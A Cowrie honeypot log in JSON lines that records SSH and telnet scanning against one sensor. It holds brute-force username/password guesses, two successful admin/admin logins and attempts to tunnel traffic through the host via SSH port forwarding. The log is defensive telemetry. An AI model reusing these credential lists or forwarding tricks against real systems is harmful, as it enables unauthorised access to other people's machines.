{"eventid":"cowrie.login.failed","username":"admin","password":"pablos","message":"login attempt [admin/pablos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:05.146157Z","src_ip":"2.57.121.112","session":"9bfe822011e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:05.175884Z","src_ip":"43.160.242.74","session":"bdb5003be47b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"p4ss","message":"login attempt [admin/p4ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:06.250899Z","src_ip":"2.57.121.112","session":"9bfe822011e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"overture","message":"login attempt [admin/overture] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:07.355078Z","src_ip":"2.57.121.112","session":"9bfe822011e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"overdose","message":"login attempt [admin/overdose] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:08.459448Z","src_ip":"2.57.121.112","session":"9bfe822011e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:09.564412Z","src_ip":"2.57.121.112","session":"9bfe822011e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":59374,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a7f6beeef44","protocol":"ssh","message":"New connection: 118.194.229.94:59374 (159.203.135.109:22) [session: 6a7f6beeef44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:12.950454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:12.954920Z","src_ip":"118.194.229.94","session":"6a7f6beeef44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:13.114004Z","src_ip":"118.194.229.94","session":"6a7f6beeef44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"hadoop","message":"login attempt [admin/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:13.781889Z","src_ip":"118.194.229.94","session":"6a7f6beeef44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:14.945074Z","src_ip":"118.194.229.94","session":"6a7f6beeef44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53454,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2f56f0ff889","protocol":"telnet","message":"New connection: 128.199.8.54:53454 (159.203.135.109:23) [session: d2f56f0ff889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:16.812949Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33186,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d3f40f63a7a","protocol":"telnet","message":"New connection: 128.199.8.54:33186 (159.203.135.109:23) [session: 9d3f40f63a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:20.028061Z"}
{"eventid":"cowrie.session.closed","duration":34.253785848617554,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:22.237376Z","src_ip":"128.199.8.54","session":"95ca8204063d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.157952308654785,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:31.746262Z","src_ip":"212.55.149.117","session":"fd15afcc1bbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.95572781562805,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:50.768582Z","src_ip":"128.199.8.54","session":"d2f56f0ff889","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.22522187232971,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:55.253169Z","src_ip":"128.199.8.54","session":"9d3f40f63a7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.185.221","src_port":10669,"dst_ip":"159.203.135.109","dst_port":23,"session":"f928074ea78e","protocol":"telnet","message":"New connection: 196.189.185.221:10669 (159.203.135.109:23) [session: f928074ea78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:26:55.811988Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":45154,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8f17866aad5","protocol":"ssh","message":"New connection: 43.160.242.74:45154 (159.203.135.109:22) [session: b8f17866aad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:27:02.399052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:27:02.404755Z","src_ip":"43.160.242.74","session":"b8f17866aad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:27:02.651188Z","src_ip":"43.160.242.74","session":"b8f17866aad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"madmin","password":"madmin","message":"login attempt [madmin/madmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:27:03.665373Z","src_ip":"43.160.242.74","session":"b8f17866aad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:27:04.919867Z","src_ip":"43.160.242.74","session":"b8f17866aad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.706177711486816,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:27:09.518048Z","src_ip":"196.189.185.221","session":"f928074ea78e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53942,"dst_ip":"159.203.135.109","dst_port":23,"session":"cba41747f28f","protocol":"telnet","message":"New connection: 128.199.8.54:53942 (159.203.135.109:23) [session: cba41747f28f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:27:45.803690Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":60574,"dst_ip":"159.203.135.109","dst_port":22,"session":"55cf924fd918","protocol":"ssh","message":"New connection: 43.160.242.74:60574 (159.203.135.109:22) [session: 55cf924fd918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:00.466109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:00.471348Z","src_ip":"43.160.242.74","session":"55cf924fd918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:00.717847Z","src_ip":"43.160.242.74","session":"55cf924fd918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazXSW@3edc","message":"login attempt [ubuntu/1qazXSW@3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:01.734082Z","src_ip":"43.160.242.74","session":"55cf924fd918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:02.984236Z","src_ip":"43.160.242.74","session":"55cf924fd918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":42794,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa6fd32fd6f2","protocol":"ssh","message":"New connection: 118.194.229.94:42794 (159.203.135.109:22) [session: aa6fd32fd6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:13.805585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:13.811067Z","src_ip":"118.194.229.94","session":"aa6fd32fd6f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:13.973614Z","src_ip":"118.194.229.94","session":"aa6fd32fd6f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@4321","message":"login attempt [ubuntu/ubuntu@4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:14.659008Z","src_ip":"118.194.229.94","session":"aa6fd32fd6f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:15.824869Z","src_ip":"118.194.229.94","session":"aa6fd32fd6f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":45468,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7e2428357f7","protocol":"ssh","message":"New connection: 45.148.10.121:45468 (10.17.0.5:22) [session: e7e2428357f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:17.692731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:17.697946Z","src_ip":"45.148.10.121","session":"e7e2428357f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:17.790034Z","src_ip":"45.148.10.121","session":"e7e2428357f7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:18.054438Z","src_ip":"45.148.10.121","session":"e7e2428357f7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:18.144068Z","session":"e7e2428357f7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:18.233535Z","src_ip":"45.148.10.121","session":"e7e2428357f7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:18.236919Z","src_ip":"45.148.10.121","session":"e7e2428357f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:18.327710Z","src_ip":"45.148.10.121","session":"e7e2428357f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":44780,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ea9abb42703","protocol":"ssh","message":"New connection: 45.148.10.121:44780 (10.17.0.5:22) [session: 5ea9abb42703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:18.411150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:18.453014Z","src_ip":"45.148.10.121","session":"5ea9abb42703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:18.501256Z","src_ip":"45.148.10.121","session":"5ea9abb42703","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:18.845786Z","src_ip":"45.148.10.121","session":"5ea9abb42703","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:18.936978Z","session":"5ea9abb42703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.1825225353241,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:18.986092Z","src_ip":"128.199.8.54","session":"cba41747f28f","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:28:19.026330Z","src_ip":"45.148.10.121","session":"5ea9abb42703","protocol":"ssh"}
